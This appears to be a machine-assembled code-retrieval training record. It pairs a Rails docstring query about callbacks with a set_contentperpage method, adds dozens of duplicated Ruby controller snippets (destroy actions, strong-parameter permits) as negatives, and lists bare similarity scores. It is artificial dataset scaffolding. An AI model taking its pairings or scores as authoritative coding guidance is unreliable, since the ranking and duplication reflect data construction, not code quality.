"def destroy\n @page.destroy\n #Cache bust pages and individual page. With pagination we would only bust the cache on the paginated \"pages\" key.\n Rails.cache.delete(\"pages\")\n Rails.cache.delete(\"page-#{@page.id}\")\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @admined_page1 = AdminedPage1.find(params[:id])\n @admined_page1.destroy\n\n respond_to do |format|\n format.html { redirect_to admined_page1s_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @content_datum = ContentDatum.find(params[:id])\n @content_datum.destroy\n\n respond_to do |format|\n format.html { redirect_to content_data_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @page.destroy\n\n expire_page :action => :show\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content_explore = ContentExplore.find(params[:id])\n @content_explore.destroy\n\n respond_to do |format|\n format.html { redirect_to content_explores_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n respond_with(@page)\n end",
"def destroy\n @page_page.destroy\n respond_to do |format|\n format.html { redirect_to page_pages_url, notice: 'Page page was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n #@static_content = StaticContent.find(params[:id])\n #@static_content.destroy\n #\n #respond_to do |format|\n # format.html { redirect_to static_contents_url }\n # format.json { head :no_content }\n #end\n end",
"def destroy\n @content.destroy\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content.destroy\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content.destroy\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mod_pag = ModPag.find(params[:id])\n @mod_pag.destroy\n\n respond_to do |format|\n format.html { redirect_to mod_pags_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page.destroy\n respond_to do |format|\n format.html { redirect_to pages_url, notice: 'Page was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page.destroy\n respond_to do |format|\n format.html { redirect_to pages_url, notice: 'Page was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page.destroy\n respond_to do |format|\n format.html { redirect_to pages_url, notice: 'Page was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page.destroy\n respond_to do |format|\n format.html { redirect_to pages_url, notice: 'Page was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page.destroy\n respond_to do |format|\n format.html { redirect_to pages_url, notice: 'Page was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page.destroy\n respond_to do |format|\n format.html { redirect_to pages_url, notice: 'Page was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page.destroy\n respond_to do |format|\n format.html { redirect_to pages_url, notice: 'Page was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page.destroy\n respond_to do |format|\n format.html { redirect_to pages_url, notice: 'Page was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @comic_page = ComicPage.find(params[:id])\n @comic_page.destroy\n\n respond_to do |format|\n format.html { redirect_to comic_pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @static_page = StaticPage.find(params[:id])\n @static_page.destroy\n\n respond_to do |format|\n format.html { redirect_to static_pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @static_page = StaticPage.find(params[:id])\n @static_page.destroy\n\n respond_to do |format|\n format.html { redirect_to static_pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @story_page.destroy\n respond_to do |format|\n format.html { redirect_to story_pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @rcadmin_static_page.destroy\n respond_to do |format|\n flash[:notice] = 'Static page was successfully deleted.'\n format.html { redirect_to rcadmin_static_pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content = Content.find(params[:id])\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content = Content.find(params[:id])\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content = Content.find(params[:id])\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content.destroy\n\n head :no_content\n end",
"def destroy\n @enq_page = EnqPage.find(params[:id])\n @enq_page.destroy\n\n respond_to do |format|\n format.html { redirect_to enq_pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @uneautrepage.destroy\n respond_to do |format|\n format.html { redirect_to uneautrepages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content_url = ContentUrl.find(params[:id])\n @content_url.destroy\n\n respond_to do |format|\n format.html { redirect_to content_urls_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_page = Page.find(params[:id])\n @admin_page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_url) }\n end\n end",
"def destroy\n @sync_page = SyncPage.find(params[:id])\n @sync_page.destroy\n\n respond_to do |format|\n format.html { redirect_to sync_pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page.destroy\n respond_to do |format|\n format.html { redirect_to(admin_pages_url) }\n format.xml { head :ok }\n end\n website.add_log(user: current_user, action: \"Deleted page: #{@page.title}\")\n end",
"def destroy\n @static_page = StaticPage.find(params[:id])\n @static_page.destroy\n\n respond_to do |format|\n format.html { redirect_to static_pages_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @pageview.destroy\n respond_to do |format|\n format.html { redirect_to pageviews_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7242123",
"0.7154377",
"0.7109982",
"0.7057982",
"0.7038644",
"0.7029839",
"0.7024557",
"0.7015564",
"0.7015564",
"0.7015564",
"0.7015564",
"0.7005398",
"0.69948715",
"0.69797426",
"0.69797426",
"0.69797426",
"0.69797426",
"0.69797426",
"0.69797426",
"0.69797426",
"0.69797426",
"0.6979136",
"0.6948566",
"0.69466466",
"0.6923722",
"0.69234",
"0.69206053",
"0.69206053",
"0.69206053",
"0.69132364",
"0.69121796",
"0.6907688",
"0.68832254",
"0.68746406",
"0.6862299",
"0.68486446",
"0.68401474",
"0.68386394",
"0.6828529",
"0.6826303",
"0.6794608",
"0.6782542",
"0.6748205",
"0.67372215",
"0.6727899",
"0.6719238",
"0.6719096",
"0.6717133",
"0.6703986",
"0.66980183",
"0.66907567",
"0.667591",
"0.6672302",
"0.665744",
"0.6653742",
"0.66529596",
"0.66417366",
"0.66416407",
"0.6632569",
"0.6632569",
"0.6632569",
"0.6632569",
"0.6632569",
"0.6632569",
"0.6632569",
"0.6632569",
"0.66180116",
"0.66149586",
"0.66098636",
"0.6608629",
"0.6599954",
"0.65949285",
"0.65949285",
"0.65949285",
"0.6593869",
"0.658912",
"0.658912",
"0.658912",
"0.658912",
"0.658912",
"0.658912",
"0.658912",
"0.658912",
"0.6586477",
"0.6585698",
"0.6585698",
"0.65741366",
"0.6573887",
"0.6567865",
"0.6567865",
"0.6567865",
"0.6565698",
"0.6565552",
"0.6563614",
"0.65629494",
"0.656018",
"0.6552297",
"0.6552162",
"0.6545989",
"0.6545161"
] |
0.7574797
|
0
|
Use callbacks to share common setup or constraints between actions.
|
def set_contentperpage
@contentperpage = Contentperpage.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def contentperpage_params
params.require(:contentperpage).permit(:contentid, :subitemid)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
